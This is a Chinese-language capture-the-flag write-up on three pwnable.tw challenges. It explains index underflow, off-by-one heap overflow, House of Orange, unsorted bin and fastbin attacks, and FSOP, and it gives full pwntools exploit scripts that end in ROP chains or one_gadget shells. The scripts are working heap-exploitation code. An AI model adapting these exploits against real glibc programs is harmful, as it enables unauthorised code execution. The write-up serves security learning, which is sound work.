( 原文地址:https://0xffff.one/d/469 )

之前在pwnable.tw部分writeup(不定期更新)中已经写了15题了,再继续写就有点乱了,所以另起了一贴。

Alive Note·

是之前Death Note的进阶版,也是写shellcode。

首先在三个功能里都有对输入的index进行上界检查,但没有进行下界检查,所以存在underflow漏洞,覆盖了.got表中某个函数后调用该函数就可以调用shellcode。但问题是shellcode是被分配在堆上的,而且每一块只能8bytes,虽然这个可以用某个jmp绕过,但写起来就有点麻烦了(exp的还算可以,但应该不是最完美的- -)。另外选got表函数时跟Death Note时一样选了free,因为free的参数刚好是某个堆块的地址。做的时候发现可以leak libc函数的方法,虽然在这里因为alnum用处不大。(还有本来以为只用’sh’是可以起shell的,但后来要’/bin/sh’才行,就又更麻烦了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

r = remote('chall.pwnable.tw',10300)

def do_add(index, name):
r.recvuntil('Your choice :')
r.sendline('1')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Name :')
r.sendline(name)

def do_show(index):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Name : ')
data = r.recvuntil('\n----')[:-5]
return data

def do_delete(index):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))

''' no use
libc_puts = u32(do_show(-1806)[:4])
print('[LEAK] libc_puts -> '+hex(libc_puts))
# libc6-i386_2.23-0ubuntu10_amd64 - 0xf7...140
libc_base = libc_puts - 0x05f140
print('[LEAK] libc_base -> '+hex(libc_base))
libc_system = libc_base+0x03a940
'''

payload = [
'PYIIII', # set ecx <- base
'RX4942', # set eax <- 11 (- -)
'0AERXH', # set pop ebx | set eax <- 0xff
'0AH0AI', # set 0xcd | 't'^0xff -> 0x8b
'RX4942', # set eax <- 11 (- -)
'0AI4jI', # set 0x80 (0x91^11->0x80) | set eax <- 'a' ('j'^0x11->'a')
'0AU0AY', # set '/'
'XX4pPP', # set sh_addr -> stack
'RX4942', # set eax <- 11
'YPRY2t', # 'J'^0x11->'[' | '2'^0xff->0xcd ; '9'^'i'->0x80
]
payload = [p+'u8' for p in payload]

do_add(0, 'sh')
do_add(-27, payload[0])

for p in payload[1:-1]:
for i in range(3):
do_add(1, 'sh')
do_add(1, p)
for i in range(3):
do_add(2, 'sh')
do_add(3, payload[-1])
do_add(3, 'NbinNsh') # 'N'^'a' -> '/'

raw_input('#')
do_delete(1) # hack



r.interactive()
r.close()

BookWriter·

是一个做笔记的程序,漏洞还算是不难找的,

第一个洞是在add里虽然有对现存的笔记数目进行检查,但是范围错了(本来是8页的,但其实可以加9页),所以最后溢出了一页会覆盖掉第0页的大小值为一个堆上的地址,是一个非常大的值,然后再edit里就可以对第0页进行没有大小限制的修改,覆盖其他的堆块。

第二个是输作者名字时如果刚好输够64bytes(反正就是末尾不是\x00或\n)的话就没有进行零截断,可以利用来泄露堆地址。

找到两个洞后还以为这题怎么这么容易,后来发现堆题竟然没有free?后来找了一下,发现有一种叫House of orange的做法(其实只用了方法中的一半,后面因为用到了FSOP有点复杂,而这题又更简单的解法,所以就没用FSOP了)。

首先是在malloc的时候,如果发现top chunk太小的话,会用mmap(应该是mmap)的方法分配一块新的空间用作top chunk,然后旧的top chunk就会被放入unsorted bin中,上面也说到堆中的东西可以在第0页被edit时覆盖掉,所以top chunk的大小和分配新top chunk后的old top chunk的bk是可以被修改的,所以就可以在author name里造一块假的chunk后利用unsorted bin attack覆盖author name以及它后面的page的地址和page size(注意虽然add是可以加9页的,加满后重新edit第0页输入空后第0页的size就变0了,就可以再加一页),覆盖page地址后就可以利用edit和view进行任意位置读写了。

先提一下top chunk重新分配那个机制,top chunk的分配是调用sysmalloc函数的(源码再malloc.c),sysmalloc会对old chunk(就是被我改小的那个)的大小进行检验,具体在一个assert中(看图)。第一个好像是大小为0的情况,即应该是改的大小不能为0;第二串有几个检查,首先是old_size(即改的那个)不能小于MINSIZE,MINSIZE测过大概是0x1f左右(也不知道又没看错,反正别太小就好了)。第二个是prev_inuse位即最低位要是1。第三个是old_end要页对齐,即old top chunk的地址加上size的低24位是0(4K对齐)。如果上面其中一个不满足的话会报错。

最后可以任意读写了就随便搞都可以了,通过读libc里envion的内容可以得到stack的地址,然后叠个ROP,搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'

r = remote('chall.pwnable.tw',10304)

def do_add(size, content):
r.recvuntil('Your choice :')
r.sendline('1')
r.recvuntil('Size of page :')
r.sendline(str(size))
if size != 0:
r.recvuntil('Content :')
r.sendline(content)

def do_view(index):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index of page :')
r.sendline(str(index))
r.recvuntil('Content :')
data = r.recvuntil('------')[1:-7]
return data

def do_edit(index, content):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Index of page :')
r.sendline(str(index))
r.recvuntil('Content:')
r.sendline(content)

r.recvuntil('Author :')
r.sendline('t'*64)

do_add(0, '')
for i in range(7):
do_add('17', 'a')
do_add(9, 'bbbbbbbb')

# read more
do_edit(0, 'a'*0x200)
do_edit(1, 'a'*18)
do_edit(6, 'a'*18)
do_edit(7, 'a'*18)
do_edit(7, 'a'*64) # deal \x00 cut

do_edit(0, '0'*(0x110+8) + p64(0xee1)) # fake top_size -> mmap new top_chunk && unsortedbin

# to unsorted bin
r.recvuntil('Your choice :')
r.sendline('4')
r.recvuntil('t'*64)
#heap_base = u32(r.recv(4)) - 0x10
heap_base = u32(r.recvuntil('\n')[:-1].ljust(4,'\x00')) - 0x10
print('[LEAK] heap_base -> '+hex(heap_base))
r.sendline('0')

# fake_chunk
do_edit(7, 'h'*64)
main_arena = u64(do_view(7)[64:].ljust(8,'\x00')) - 88
print('[LEAK] main_arena -> '+hex(main_arena))
libc_base = main_arena - 0x3c3b20 # .
print('[LEAK] libc_base -> '+hex(libc_base))

write_addr = 0x602060

r.recvuntil('Your choice :')
r.sendline('4')
r.recvuntil('no:0)')
r.sendline('1')
r.recvuntil('Author :')
fake_chunk = (
p64(0) + p64(0x201) +
p64(0) + p64(main_arena+88)
)
r.sendline(fake_chunk)

fake_chunk = (
'1'*32+
'1'*56 + p64(0xec1) +
p64(main_arena+88) + p64(write_addr)
)
do_edit(0, '\x00')
do_edit(6, fake_chunk)

# random read/write
libc_environ = libc_base + 0x3c5f38 # .
print('[TEST] libc_environ -> '+hex(libc_environ))

# write address
pages_addr = 0x6020A0
do_add(48+8*16, 'k'*48+p64(pages_addr)*7+p64(libc_environ)+p64(0x400)*8)

stack_edit_ret = u64(do_view(7).ljust(8,'\x00')) - 0x110
print('[LEAK] stack_edit_ret -> '+hex(stack_edit_ret))

do_edit(0, p64(pages_addr)*7+p64(stack_edit_ret)+p64(0x400)*8)

libc_system = libc_base + 0x45390 # .
print('[TEST] libc_system -> '+hex(libc_system))
pop_rdi = 0x400db3

rop = flat(map(p64,[
pop_rdi, stack_edit_ret+8*3, libc_system
]))
rop += '/bin/sh\x00'
raw_input('#')
do_edit(7, rop)



r.interactive()
r.close()

CAOV·

题目很好心的给了源码,看了两遍找不到洞在哪,然后直接上fuzz,大概十几分钟就有结果了,然后才发现源码是用来坑人的。。。

fuzz的结果大概是在edit的时候如果名字输很长的话就会crash,原因在于C在执行赋值运算符重载时除了传入左值和右值外还会传入一个不可名状的局部变量(少接触C题,暂时还不知道是什么机制,查到了再补,咕),就是下图的v2(用IDA打开很容易可以看到,所以源码是拿来坑人的- -),v2被传入赋值重载函数(图中D_operator_copy)后是直接返回的,所以这个可以不用管;问题在于v2用完后会被析构(图中的D_destructor),但在这之前v2是没被构造的,而且v2是没有初始化的局部变量,它的值会受到上一个函数(就是set_name)在栈中保留的值影响。所以最后控制好v2的值的话就可以实现任意地方的free。

先明确一下可以实现malloc的只有分配新的key时,可以实现free的只有Data的析构。因为Data D是放在堆上的,所以利用思路是控制堆上D的key,实现往key中写入任意地址的话就可以实现任意地方的读和大部分地方的写(写的长度不能大于原来空间字串长度)。

首先要拿到heap的基址,因为可以任意free所以就是用fastbin attack了,需要先free一个堆上的chunk,然后在.bss的name上构造假chunk再free掉,再分配对应大小的块就可以把key分配到name上,且刚好是fd的值(思路就是这样了,实现起来还是有点痛苦- -)。至于第一步的堆块怎么free的话,因为程序在edit时会保存一个old的Data,edit完后old会被析构,就可以free一个edit前的key大小的chunk(刚开始的时候key是在heap上的)。

然后是控制Data D,经操作后发现第一次输入的name是在堆上的,而且位置非常好,刚好在Data D上,所以就可以利用这个name在堆上先构造个fake chunk header,然后利用上面同样的fastbin attack方法就可以把chunk分配到这里,输入的key值就可以覆盖Data D。

到这里就实现了任意读和基本任意写了,然后就可以随便搞了,本来是可以改malloc_hook之类的,但hook的初始值都是0写不了,而且写栈还是最稳的,所以就写栈了。首先读.got可以拿到libc_base,读libc中的environ可以拿stack地址,然后写main的返回地址就好(因为main的返回地址可以写6bytes)。经实验,发现main返回地址后的内容是0,所以只能写一个地址(在本地跑是可以多个的。。。),然后就one gadget,getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'

r = remote('chall.pwnable.tw',10306)

def show():
r.recvuntil('Your choice: ')
r.sendline('1')

def edit(name, key, value, kl=None):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(name)
r.recvuntil('New key length: ')
if kl==None:
r.sendline(str(len(key)))
else:
r.sendline(str(kl))
r.recvuntil('Key: ')
r.sendline(key)
r.recvuntil('Value: ')
r.sendline(str(value))

def editName(name):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(name)
r.recvuntil('New key length: ')
r.sendline('1001')

r.recvuntil('Enter your name: ')
r.sendline('tover')
r.recvuntil('Please input a key: ')
r.sendline('\x00'+'\x00'*0x17+'\x61'+'\x00'*0x0f+'\x51')
#r.sendline('\x00')
r.recvuntil('Please input a value: ')
r.sendline('6666')
#edit('a'*96+'b'*8, 'crash', 123)


# get libc_base
name_addr = 0x6032C0
fake_chunk = flat(map(p64, [
0, 0x21, 0, 0, 0, 0x21, 0, 0,
0, 0x21, 0, 0, name_addr+0x10, 0x21, 0, 0,
0, 0x21,
]))
edit(fake_chunk, 'a'*0x16, 123, 0x16)

fake_chunk = flat(map(p64, [
0, 0x41, 0, 0, 0, 0x21, 0, 0,
0, 0x21, 0, 0, name_addr+0x10, 0x21, 0, 0,
0, 0x21,
]))
editName(fake_chunk)
show()
r.recvuntil('Key: ')
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x11c90
print('[LEAK] heap_base -> '+hex(heap_base))

d_addr = heap_base+0x11cd0
print('[TEST] d_addr -> '+hex(d_addr))

def set2Key(addr):
fake_addr = d_addr - 0x10
fake_chunk = flat(map(p64, [
0, 0x51, fake_addr, 0, 0, 0, 0, 0,
0, 0, 0, 0x21, name_addr+0x10, 0, 0, 0,
]))
editName(fake_chunk)

fake_chunk = flat(map(p64, [
0, 0x51, fake_addr, 0, 0, 0, 0, 0,
0, 0, 0, 0x21, 0, 0, 0, 0,
]))
edit(fake_chunk, 'test', 123, 0x40) # fast attack 1

fake_d = flat(map(p64, [
0, 0x51, addr, 0, 0, 0, 0, 0
]))
edit(fake_chunk, fake_d, 123, 0x40) # fast attack 2

# get libc_base
got_getchar = 0x602F80
set2Key(got_getchar)
show()
r.recvuntil('Key: ')
libc_base = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x76160
print('[LEAK] libc_base -> '+hex(libc_base))
libc_system = libc_base + 0x45390
print('[TEST] libc_system -> '+hex(libc_system))
libc_environ = libc_base + 0x3c5f38
print('[TEST] libc_environ -> '+hex(libc_environ))


# get stack_base (same)
set2Key(libc_environ)
show()
r.recvuntil('Key: ')
stack_playground_ret = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x180
print('[LEAK] stack_playground_ret -> '+hex(stack_playground_ret))
stack_main_ret = stack_playground_ret + 0x90
print('[LEAK] stack_main_ret -> '+hex(stack_main_ret))

'''
def stackProbe(i):
set2Key(stack_main_ret+8*i)
show()
r.recvuntil('Key: ')
test = r.recvuntil('\n')[:-1]
try:
test = u64(test.ljust(8, '\x00'))
print('[TEST] '+str(i)+' -> '+hex(test))
except:
print('[TEST] '+str(i)+' -> '+test)

for i in range(-7, 8):
stackProbe(i)
'''

one_gadget = libc_base + 0x45216
set2Key(stack_main_ret)
edit('', p64(one_gadget)[:6], 123, 6)
r.recvuntil('Your choice: ')
r.sendline('3')


r.interactive()
r.close()

另外因为开始写的时候是用本地一个自己编的libc做测试的,在那个libc中调用update_time后会分配一个很大的chunk,然后调用malloc_consolidate把fastbins合并到unsorted bin中,还有一大堆条件要绕(非常痛苦),最后写完后换题目库时发现并没有这个操作,所以就要又重写了一份- -(非常绝望),既然写都写了就把exp也放一下吧,主要通过fastbin attack覆盖.bss上的stdout位fake_fp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'

#env = {'LD_LIBRARY_PATH':'.:/home/tover/Lab/gnu_c/glibc/glibc-2.23/x64/lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/7/'} # ?
env = {'LD_LIBRARY_PATH':'/home/tover/Lab/gnu_c/glibc/glibc-2.23/x64/lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/7/'}
r = process('./caov',env=env)
gdb.attach(r, gdbscript='gcinit -m64 2.23')
#gdb.attach(r)
#r = remote('chall.pwnable.tw',10306)

def show():
r.recvuntil('Your choice: ')
r.sendline('1')

def edit(name, key, value, kl=None):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(name)
r.recvuntil('New key length: ')
if kl==None:
r.sendline(str(len(key)))
else:
r.sendline(str(kl))
r.recvuntil('Key: ')
r.sendline(key)
r.recvuntil('Value: ')
r.sendline(str(value))

def editName(name):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(name)
r.recvuntil('New key length: ')
r.sendline('1001')

r.recvuntil('Enter your name: ')
r.sendline('tover')
r.recvuntil('Please input a key: ')
#r.sendline('\x00'+'1'*0x27)
r.sendline('\x00')
r.recvuntil('Please input a value: ')
r.sendline('6666')
#edit('a'*96+'b'*8, 'crash', 123)

# get libc_base
name_addr = 0x6032C0
fake_chunk = flat(map(p64, [
0, 0x21, 0, 0, 0, 0x21, 0, 0,
0, 0x21, 0, 0, name_addr+0x30, 0x21, 0, 0,
0, 0x21,
]))
editName(fake_chunk)

fake_chunk = flat(map(p64, [
0, 0x21, 0, 0, 0, 0x21, name_addr, 0,
0, 0x21, 0, 0, name_addr+0x10, 0x21, 0, 0,
0, 0x21,
]))
editName(fake_chunk)

fake_chunk = flat(map(p64, [
0, 0x21, name_addr+0x20, 0, 0, 0x21, name_addr, 0,
0, 0x21, 0, 0, 0, 0x21, 0, 0,
0, 0x21,
]))
# [wtf!] update_time -> malloc_consolidate -> unlink ...
edit(fake_chunk, p64(0)+'a'*8, 123, 0x10)
show()
r.recvuntil('Key: ')
main_arena = u64(r.recv(6)+'\x00'*2) - 88
print('[LEAK] main_arena -> '+hex(main_arena))
libc_base = main_arena - 0x38cb20
print('[LEAK] libc_base -> '+hex(libc_base))
libc_system = libc_base + 0x3d479 # debug


# fake_io_file
#payload = 'a'*0x100
fp_addr = 0x603338
payload = [0 for x in range(32)]
payload[0] = u64('/bin/sh\x00')
payload[0x40/8] = fp_addr
payload[0x88/8] = fp_addr+0x10 # fake lock...
#payload[0xd8/8] = fp_addr+0xd8-0x60
payload[0xd8/8] = fp_addr+0xd8-0x30
payload[0xe0/8] = libc_system
#payload[0xe8/8] = libc_system
#payload[0xf0/8] = libc_system
#payload[0xf8/8] = libc_system
payload = ''.join(map(p64,payload))
fake_chunk = flat(map(p64, [ # restore
0, 0x100+0x66+0x40+1, main_arena+88, main_arena+88, 0, 0x21, 0, 0, # second -> unsorted bin size
]))
#edit(fake_chunk, '1'*(0x16), 123, 0x36) # 0x16 -> fastbin-0x20
edit(fake_chunk, '1'*(0x16)+'\x00'*0x52+payload, 123, 0x102+0x66) # 0x76 -> 150-0x20


# write fake_io_file_addr
#fake_addr = libc_base + 0x38cb05
fake_addr = 0x603265
print('[TEST] fake_addr -> '+hex(fake_addr))

fake_chunk = flat(map(p64, [
0, 0x71, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, name_addr+0x10, 0, 0, 0x21
]))
editName(fake_chunk)


fake_chunk = flat(map(p64, [
0, 0x71, fake_addr, 0, 0x2100000000000000, 0, 0, 0,
0x2100000000000000, 0, 0, 0, 0, 0, 0
]))
edit(fake_chunk, p64(fake_addr), 123, 0x67)

fake_chunk = flat(map(p64, [
0, 0x71, fake_addr, main_arena+88, 0x2100000000000000, 0, 0, 0,
0x2100000000000000, 0, 0, 0, 0, 0, 0
]))
fake_chunk += '/bin/sh\x00'
edit(fake_chunk, p64(fake_addr)+p64(main_arena+88)+'test'*4, 123, 0x67)

#edit(fake_chunk, p64(0xdeadbeef), 123, 0x67) # TODO: overflow stdout
edit(fake_chunk, '\x00'*11+p64(fp_addr)*2, 123, 0x67)


fake_chunk = flat(map(p64, [
0, 0x21, 0, 0, 0, 0x21, 0, 0,
0, 0x21, 0, 0, name_addr+0x30, 0x21, 0
]))
#fake_chunk += '/bin/sh\x00'
fake_chunk += '\x33||/bin/sh\x00'
raw_input('#')
editName(fake_chunk)

r.interactive()
r.close()

# glibc version:
# GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al.

这大概是至今为止做过的exp写最长、writeup写最长、flag也最长的题目了- -

才搞了4200分,还是太菜了啊·

流下没技术的眼泪.jpg·